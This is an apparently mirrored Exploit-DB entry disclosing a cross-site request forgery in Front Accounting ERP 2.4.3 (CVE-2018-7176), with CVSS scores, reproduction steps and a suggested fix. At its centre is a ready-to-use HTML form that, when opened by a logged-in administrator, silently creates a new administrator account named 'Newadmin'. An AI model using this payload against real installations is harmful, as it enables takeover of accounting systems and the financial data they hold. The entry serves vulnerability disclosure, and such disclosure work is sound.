Lucene search

Samrat DasEDB-ID:44137

HistoryFeb 16, 2018 - 12:00 a.m.

Front Accounting ERP 2.4.3 - Cross-Site Request Forgery

2018-02-1600:00:00

Samrat Das

www.exploit-db.com

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

Confidence

High

EPSS

0.001

Percentile

47.6%

JSON

<!--
# Exploit Title: Front Accounting ERP 2.4.3 - CSRF
# Date: 16-02-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: frontaccounting.com
# Version: 2.4.3
# CVE : CVE-2018-7176
# Category: WebApp ERP

1. Description

The application source code is coded in a way which allows malicious
crafted HTML page to be executed directly without any anti csrf
countermeasures.

2. Proof of Concept

1.       Visit the application
2.       Visit the User Permissions Page.
3.        Goto add user, and create a csrf crafted exploit for the same ,
upon hosting it on a server and sending the link to click by victim, it
gets exploited.

Proof of Concept

Steps to Reproduce:

1. Create an HTML Page with the below exploit code:
-->

<html>
 <body>
    <form action="
http://localhost/frontaccounting/admin/users.php?JsHttpRequest=0-xml"
method="POST" enctype="text/plain">
      <input type="hidden" name="show&#95;inactive"
value="&user&#95;id&#61;Newadmin&password&#61;Newadmin&real&#95;name&#61;New&#37;20Admin&phone&#61;&email&#61;&role&#95;id&#61;8&language&#61;C&pos&#61;1&print&#95;profile&#61;&rep&#95;popup&#61;1&ADD&#95;ITEM&#61;Add&#37;20new&&#95;focus&#61;user&#95;id&&#95;modified&#61;0&&#95;confirmed&#61;&&#95;token&#61;Ta6aiT2xqlL2vg8u9aAvagxx&&#95;random&#61;757897&#46;6552143205"
/>
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<!--
2  This hosted page upon being clicked by an logged in admin user will lead
to creation of a new malicious admin user.

3 POCs and steps:
https://securitywarrior9.blogspot.in/2018/02/cross-site-request-forgery-front.html

4. Solution:

Implement anti csrf token code in state changing http requests and validate
it at server side.
-->

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

Confidence

High

EPSS

0.001

Percentile

47.6%

JSON

Related for EDB-ID:44137